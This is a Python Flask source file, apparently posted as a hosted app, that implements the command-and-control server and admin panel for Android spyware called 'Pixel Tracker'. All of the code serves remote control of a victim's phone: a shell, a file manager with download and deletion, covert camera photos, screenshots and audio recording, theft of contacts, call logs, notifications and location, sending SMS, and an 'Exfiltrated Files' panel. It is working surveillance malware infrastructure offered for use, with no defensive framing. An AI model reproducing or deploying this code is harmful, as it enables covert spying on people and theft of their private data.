Spaces:
Sleeping
Sleeping
| from flask import Flask, request, render_template_string, jsonify, send_from_directory, url_for | |
| import os | |
| import datetime | |
| import uuid | |
| import werkzeug.utils | |
| import json | |
| app = Flask(__name__) | |
| app.config['UPLOAD_FOLDER'] = 'uploads_from_client' | |
| app.config['FILES_TO_CLIENT_FOLDER'] = 'uploads_to_client' | |
| os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True) | |
| os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True) | |
| pending_command = None | |
| command_output = "Waiting for client..." | |
| last_client_heartbeat = None | |
| current_client_path = "~" | |
| device_status_info = {} | |
| notifications_history = [] | |
| contacts_list = [] | |
| HTML_TEMPLATE = """ | |
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Pixel Tracker Admin</title> | |
| <style> | |
| body{font-family:sans-serif;margin:0;padding:0;background:#f4f4f4;display:flex;height:100vh} | |
| .sidebar{width:240px;background:#333;color:#fff;overflow-y:auto} | |
| .sidebar h2{text-align:center;padding:10px;border-bottom:1px solid #555} | |
| .sidebar ul{list-style:none;padding:0} | |
| .sidebar li a{display:block;padding:15px;color:#ccc;text-decoration:none;border-bottom:1px solid #444} | |
| .sidebar li a:hover,.sidebar li a.active{background:#444;color:#fff} | |
| .content{flex:1;padding:20px;overflow-y:auto} | |
| .panel{background:#fff;padding:20px;border-radius:5px;box-shadow:0 2px 5px rgba(0,0,0,0.1);margin-bottom:20px;display:none} | |
| .panel.active{display:block} | |
| .status-bar{background:#ddd;padding:10px;margin-bottom:20px;border-radius:5px;font-weight:bold} | |
| .online{color:green}.offline{color:red} | |
| pre{background:#222;color:#0f0;padding:15px;border-radius:5px;overflow-x:auto;white-space:pre-wrap} | |
| input,button,select,textarea{padding:10px;margin:5px 0;border-radius:3px;border:1px solid #ccc;width:100%;box-sizing:border-box} | |
| button{background:#007bff;color:#fff;border:none;cursor:pointer} | |
| button:hover{background:#0056b3} | |
| .file-list li{display:flex;justify-content:space-between;padding:5px;border-bottom:1px solid #eee} | |
| </style> | |
| <script> | |
| async function api(endpoint, data={}){ | |
| return await fetch(endpoint, {method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)}); | |
| } | |
| function show(id){ | |
| document.querySelectorAll('.panel').forEach(d=>d.classList.remove('active')); | |
| document.getElementById(id).classList.add('active'); | |
| document.querySelectorAll('.sidebar a').forEach(a=>a.classList.remove('active')); | |
| event.target.classList.add('active'); | |
| } | |
| async function update(){ | |
| let r = await fetch('/get_status'); | |
| let d = await r.json(); | |
| document.getElementById('out').innerText = d.output; | |
| document.getElementById('path').innerText = d.path; | |
| let hb = new Date(d.heartbeat); | |
| let diff = (new Date()-hb)/1000; | |
| let st = document.getElementById('stat'); | |
| st.innerText = diff < 30 ? "ONLINE" : "OFFLINE"; | |
| st.className = diff < 30 ? "online" : "offline"; | |
| if(d.status){ | |
| let bat = d.status.battery || {}; | |
| let loc = d.status.location || {}; | |
| document.getElementById('dev_stat').innerHTML = `Battery: ${bat.percentage}%<br>Location: ${loc.latitude}, ${loc.longitude}`; | |
| } | |
| renderList('notif_list', d.notifications, item => `<b>${item.packageName}</b>: ${item.title} - ${item.content}`); | |
| renderList('cont_list', d.contacts, item => `<b>${item.name}</b>: ${item.number}`); | |
| } | |
| function renderList(id, list, fmt){ | |
| let el = document.getElementById(id); | |
| el.innerHTML = ''; | |
| list.forEach(i=>{let d=document.createElement('div');d.innerHTML=fmt(i);d.style.borderBottom='1px solid #eee';d.style.padding='5px';el.appendChild(d)}); | |
| } | |
| function send(type, args={}){ args.command_type=type; api('/send_command', args); } | |
| function sh(){ send('shell', {command:document.getElementById('cmd').value}); document.getElementById('cmd').value=''; } | |
| function nav(p){ send('list_files', {path:p}); } | |
| function dl(f){ send('request_download_file', {filename:f}); } | |
| function zip(f){ send('zip_and_upload_dir', {path:f}); } | |
| function del(f){ if(confirm('Del?')) send('delete_file', {filename:f}); } | |
| async function upload_srv(e){ | |
| e.preventDefault(); | |
| let f = new FormData(document.getElementById('up_form')); | |
| await fetch('/upload_to_server_for_client', {method:'POST',body:f}); | |
| alert('Uploaded to server. Now initiating client download.'); | |
| } | |
| setInterval(update, 3000); | |
| window.onload=update; | |
| </script> | |
| </head> | |
| <body> | |
| <div class="sidebar"> | |
| <h2>Tracker</h2> | |
| <ul> | |
| <li><a href="#" onclick="show('dash')" class="active">Dashboard</a></li> | |
| <li><a href="#" onclick="show('files')">Files</a></li> | |
| <li><a href="#" onclick="show('media')">Media</a></li> | |
| <li><a href="#" onclick="show('info')">Info & Logs</a></li> | |
| <li><a href="#" onclick="show('server')">Server Files</a></li> | |
| </ul> | |
| </div> | |
| <div class="content"> | |
| <div class="status-bar">Status: <span id="stat" class="offline">Checking...</span> | Path: <span id="path">~</span></div> | |
| <div id="dash" class="panel active"> | |
| <h3>Shell</h3> | |
| <input id="cmd" placeholder="Command..." onkeypress="if(event.key==='Enter') sh()"> | |
| <button onclick="sh()">Run</button> | |
| <h3>Output</h3> | |
| <pre id="out"></pre> | |
| <h3>Device Status</h3> | |
| <div id="dev_stat">No Data</div> | |
| <button onclick="send('get_device_status')">Refresh Status</button> | |
| </div> | |
| <div id="files" class="panel"> | |
| <h3>File Manager</h3> | |
| <button onclick="nav('~')">Home</button> | |
| <button onclick="nav('/sdcard')">SD Card</button> | |
| <input id="cpath" placeholder="Path..."> | |
| <button onclick="nav(document.getElementById('cpath').value)">Go</button> | |
| <hr> | |
| <form id="up_form" onsubmit="upload_srv(event)"> | |
| <input type="file" name="file_to_device"> | |
| <input name="target_path_on_device" value="/sdcard/Download/"> | |
| <button type="submit">Upload to Device</button> | |
| </form> | |
| <p>Use shell 'ls -F' to see files, then type name below to action.</p> | |
| <input id="tfile" placeholder="Target filename/folder"> | |
| <button onclick="dl(document.getElementById('tfile').value)">Download File</button> | |
| <button onclick="zip(document.getElementById('tfile').value)">Zip & Download Folder</button> | |
| <button onclick="del(document.getElementById('tfile').value)" style="background:red">Delete</button> | |
| </div> | |
| <div id="media" class="panel"> | |
| <h3>Surveillance</h3> | |
| <button onclick="send('take_photo', {camera_id:'0'})">Rear Cam</button> | |
| <button onclick="send('take_photo', {camera_id:'1'})">Front Cam</button> | |
| <button onclick="send('screenshot')">Screenshot</button> | |
| <button onclick="send('record_audio', {duration:10})">Rec Audio (10s)</button> | |
| <hr> | |
| <input id="tts" placeholder="TTS Text"> | |
| <button onclick="send('tts_speak', {text:document.getElementById('tts').value})">Speak</button> | |
| <button onclick="send('torch', {state:'on'})">Torch ON</button> | |
| <button onclick="send('torch', {state:'off'})">Torch OFF</button> | |
| </div> | |
| <div id="info" class="panel"> | |
| <h3>Data</h3> | |
| <button onclick="send('get_notifications')">Get Notifications</button> | |
| <button onclick="send('get_contacts')">Get Contacts</button> | |
| <button onclick="send('get_call_log')">Get Call Log</button> | |
| <button onclick="send('get_wifi_info')">Get WiFi Info</button> | |
| <button onclick="send('get_device_info')">Device Info</button> | |
| <div style="display:flex"> | |
| <div style="flex:1;margin-right:10px"> | |
| <h4>Notifications</h4> | |
| <div id="notif_list" style="max-height:300px;overflow:auto"></div> | |
| </div> | |
| <div style="flex:1"> | |
| <h4>Contacts</h4> | |
| <div id="cont_list" style="max-height:300px;overflow:auto"></div> | |
| </div> | |
| </div> | |
| <h4>SMS</h4> | |
| <input id="sms_n" placeholder="Number"> | |
| <input id="sms_t" placeholder="Message"> | |
| <button onclick="send('send_sms', {number:document.getElementById('sms_n').value, text:document.getElementById('sms_t').value})">Send SMS</button> | |
| </div> | |
| <div id="server" class="panel"> | |
| <h3>Exfiltrated Files</h3> | |
| <button onclick="location.reload()">Refresh</button> | |
| <ul class="file-list"> | |
| {% for f in uploaded_files %} | |
| <li> | |
| <a href="/uploads_from_client/{{f}}" target="_blank">{{f}}</a> | |
| </li> | |
| {% endfor %} | |
| </ul> | |
| </div> | |
| </div> | |
| </body> | |
| </html> | |
| """ | |
| def index(): | |
| files = sorted(os.listdir(app.config['UPLOAD_FOLDER'])) | |
| return render_template_string(HTML_TEMPLATE, uploaded_files=files) | |
| def handle_send_command(): | |
| global pending_command, command_output | |
| data = request.json | |
| cmd_type = data.get('command_type') | |
| command_payload = {'type': cmd_type} | |
| if cmd_type == 'shell': command_payload['command'] = data.get('command') | |
| elif cmd_type == 'list_files': command_payload['path'] = data.get('path') | |
| elif cmd_type == 'request_download_file': command_payload = {'type': 'upload_to_server', 'filename': data.get('filename')} | |
| elif cmd_type == 'zip_and_upload_dir': command_payload['path'] = data.get('path') | |
| elif cmd_type == 'delete_file': command_payload['filename'] = data.get('filename') | |
| elif cmd_type == 'take_photo': command_payload['camera_id'] = data.get('camera_id') | |
| elif cmd_type == 'record_audio': command_payload['duration'] = data.get('duration') | |
| elif cmd_type == 'clipboard_set': command_payload['text'] = data.get('text') | |
| elif cmd_type == 'open_url': command_payload['url'] = data.get('url') | |
| elif cmd_type == 'send_sms': | |
| command_payload['number'] = data.get('number') | |
| command_payload['text'] = data.get('text') | |
| elif cmd_type == 'tts_speak': command_payload['text'] = data.get('text') | |
| elif cmd_type == 'vibrate': command_payload['duration'] = data.get('duration') | |
| elif cmd_type == 'torch': command_payload['state'] = data.get('state') | |
| elif cmd_type == 'receive_file': | |
| fname = data.get('server_filename') | |
| command_payload['download_url'] = url_for('download_client', filename=fname, _external=True) | |
| command_payload['target_path'] = data.get('target_path_on_device') | |
| command_payload['original_filename'] = fname.split('_', 1)[1] if '_' in fname else fname | |
| pending_command = command_payload | |
| command_output = "Command queued..." | |
| return jsonify({'status': 'queued'}) | |
| def get_command(): | |
| global pending_command | |
| if pending_command: | |
| c = pending_command | |
| pending_command = None | |
| return jsonify(c) | |
| return jsonify(None) | |
| def submit_data(): | |
| global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list | |
| data = request.json | |
| if not data: return jsonify({'status':'no_data'}), 400 | |
| last_client_heartbeat = datetime.datetime.utcnow().isoformat() | |
| if 'output' in data: command_output = data['output'] | |
| if 'current_path' in data: current_client_path = data['current_path'] | |
| if 'device_status_update' in data: device_status_info = data['device_status_update'] | |
| if 'notifications_update' in data: notifications_history = data['notifications_update'] | |
| if 'contacts_update' in data: contacts_list = data['contacts_update'] | |
| return jsonify({'status': 'ok'}) | |
| def get_status(): | |
| return jsonify({ | |
| 'output': command_output, | |
| 'heartbeat': last_client_heartbeat, | |
| 'path': current_client_path, | |
| 'status': device_status_info, | |
| 'notifications': notifications_history, | |
| 'contacts': contacts_list | |
| }) | |
| def upload_rx(): | |
| f = request.files['file'] | |
| if f: | |
| fn = werkzeug.utils.secure_filename(f.filename) | |
| f.save(os.path.join(app.config['UPLOAD_FOLDER'], fn)) | |
| return jsonify({'status': 'success'}) | |
| return jsonify({'status': 'error'}), 400 | |
| def serve_upload(filename): | |
| return send_from_directory(app.config['UPLOAD_FOLDER'], filename) | |
| def upload_tx(): | |
| global pending_command | |
| f = request.files['file_to_device'] | |
| target = request.form.get('target_path_on_device') | |
| if f and target: | |
| fn = str(uuid.uuid4()) + "_" + werkzeug.utils.secure_filename(f.filename) | |
| f.save(os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], fn)) | |
| pending_command = { | |
| 'type': 'receive_file', | |
| 'download_url': url_for('download_client', filename=fn, _external=True), | |
| 'target_path': target, | |
| 'original_filename': werkzeug.utils.secure_filename(f.filename) | |
| } | |
| return jsonify({'status': 'success'}) | |
| return jsonify({'status': 'error'}), 400 | |
| def download_client(filename): | |
| return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename) | |
| if __name__ == '__main__': | |
| app.run(host='0.0.0.0', port=7860, debug=False) |